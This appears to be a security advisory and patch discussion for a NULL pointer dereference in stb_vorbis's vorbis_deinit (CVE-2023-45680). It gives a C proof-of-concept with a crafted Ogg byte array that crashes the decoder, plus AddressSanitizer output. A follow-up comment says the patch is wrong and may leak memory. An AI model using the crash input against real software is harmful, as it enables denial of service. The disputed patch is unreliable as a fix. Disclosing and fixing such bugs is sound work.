Fix Null pointer dereference in vorbis_deinit (GHSL-2023-170/CVE-2023-45680)

[JarLob]

A crafted file may trigger memory allocation failure in start_decoder at [1]. In that case the function returns early [2], the f->comment_list is set to NULL, but f->comment_list_length is not reset.

   f->comment_list_length = get32_packet(f);
   f->comment_list = NULL;
   if (f->comment_list_length > 0)
   {
      f->comment_list = (char**) setup_malloc(f, sizeof(char*) * (f->comment_list_length)); // [1] OOM
      if (f->comment_list == NULL)                  return error(f, VORBIS_outofmem); // [2]
   }

Later in vorbis_deinit it tries to dereference the NULL pointer at [3].

static void vorbis_deinit(stb_vorbis *p)
{
   int i,j;

   setup_free(p, p->vendor);
   for (i=0; i < p->comment_list_length; ++i) {
      setup_free(p, p->comment_list[i]); // [3]
   }

Impact

This issue may lead to denial of service.

Resources

To reproduce the issue:

1. Make ASAN build of the following program:

#include "../stb_vorbis.c"
#include <stdint.h>

int main(int argc, char* argv[])
{
    const uint8_t data[] = {0x4f,0x67,0x67,0x53,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0xb6,0xe4,0xb5,0x67,0x00,0x00,0x00,0x00,0x3b,0x21,0x03,0x0f,0x01,0x1e,
                            0x01,0x76,0x6f,0x72,0x62,0x69,0x73,0x00,0x00,0x00,0x00,0x01,0x44,0xac,
                            0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x38,0x01,0x00,0x00,0x00,0x00,0x00,
                            0xb8,0x01,0x4f,0x67,0x67,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                            0x00,0x00,0xb6,0xe4,0xb5,0x67,0x01,0x00,0x00,0x00,0x83,0xb5,0x32,0x7b,
                            0x0e,0x3b,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
                            0x81,0x03,0x76,0x6f,0x72,0x62,0x69,0x73,0x2b,0x00,0x00,0x00,0x58,0x69,
                            0x70,0x68,0x2e,0x4f,0x72,0x67,0x20,0x6c,0x69,0x62,0x56,0x6f,0x72,0x62,
                            0x69,0x73,0x20,0x73,0xbe,0x61,0x97,0xcc,0x7c,0x55,0x7e,0xc6,0x03,0x1a,
                            0x85,0x7f,0x3d,0x39,0x3f,0x7f,0x8b,0xa9,0x41,0x21,0x11,0x14,0xf7,0x47,
                            0x7a,0x38,0x30,0x05,0x48,0xa5,0x77,0x3b,0x31,0x88,0xaa,0xba,0xd9,0xdd,
                            0x8f,0x4e,0xfd,0xbd,0xa2,0xa7,0x0e,0xb7,0x02,0x78,0x00,0x3e,0x96,0xfc,
                            0xef,0xac,0x5f,0x9a,0x02,0x36,0x00,0x82,0x2a,0x82,0x12,0x0c,0x04,0x22,
                            0x02,0x00,0x00,0x3c,0x58,0x06,0x9e,0x8f,0x59,0xd9,0xb0,0x6f,0x68,0xea,
                            0x52,0x32,0x1f,0x02,0x66,0xd3,0x81,0xa5,0x77,0xb1,0x23,0x2f,0x69,0xeb,
                            0x3f,0x61,0x04,0x65,0x9d,0xcf,0x87,0x93,0x9c,0x30,0xab,0x98,0xc1,0x29,
                            0x79,0x9c,0xb3,0x84,0xe9,0x16,0x00,0x1a,0x00,0x77,0xc4,0x84,0x86,0x31,
                            0x00,0x34,0xa0,0x03};
    size_t size = sizeof(data);

    int chan, samplerate;
    short *output;
    int samples = stb_vorbis_decode_memory(data, size, &chan, &samplerate, &output);
    if (samples >= 0)
        free(output);
    return 0;
}

2. Run the program to hit the error.

AddressSanitizer:DEADLYSIGNAL
=================================================================
==264664==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x0000004dbe50 bp 0x7ffddf2f2e30 sp 0x7ffddf2f2b40 T0)
==264664==The signal is caused by a READ memory access.
    #0 0x4dbe50 in vorbis_deinit(stb_vorbis*) tests/../stb_vorbis.c:4214:21
    #1 0x4f9638 in stb_vorbis_open_memory tests/../stb_vorbis.c:5122:4
    #2 0x4fbfb1 in stb_vorbis_decode_memory tests/../stb_vorbis.c:5390:20

[sezero]

This patch is wrong: it zeroes comment_list_length at the wrong place, and may result in memory leaks.
See #1557 (comment) for a combined solution.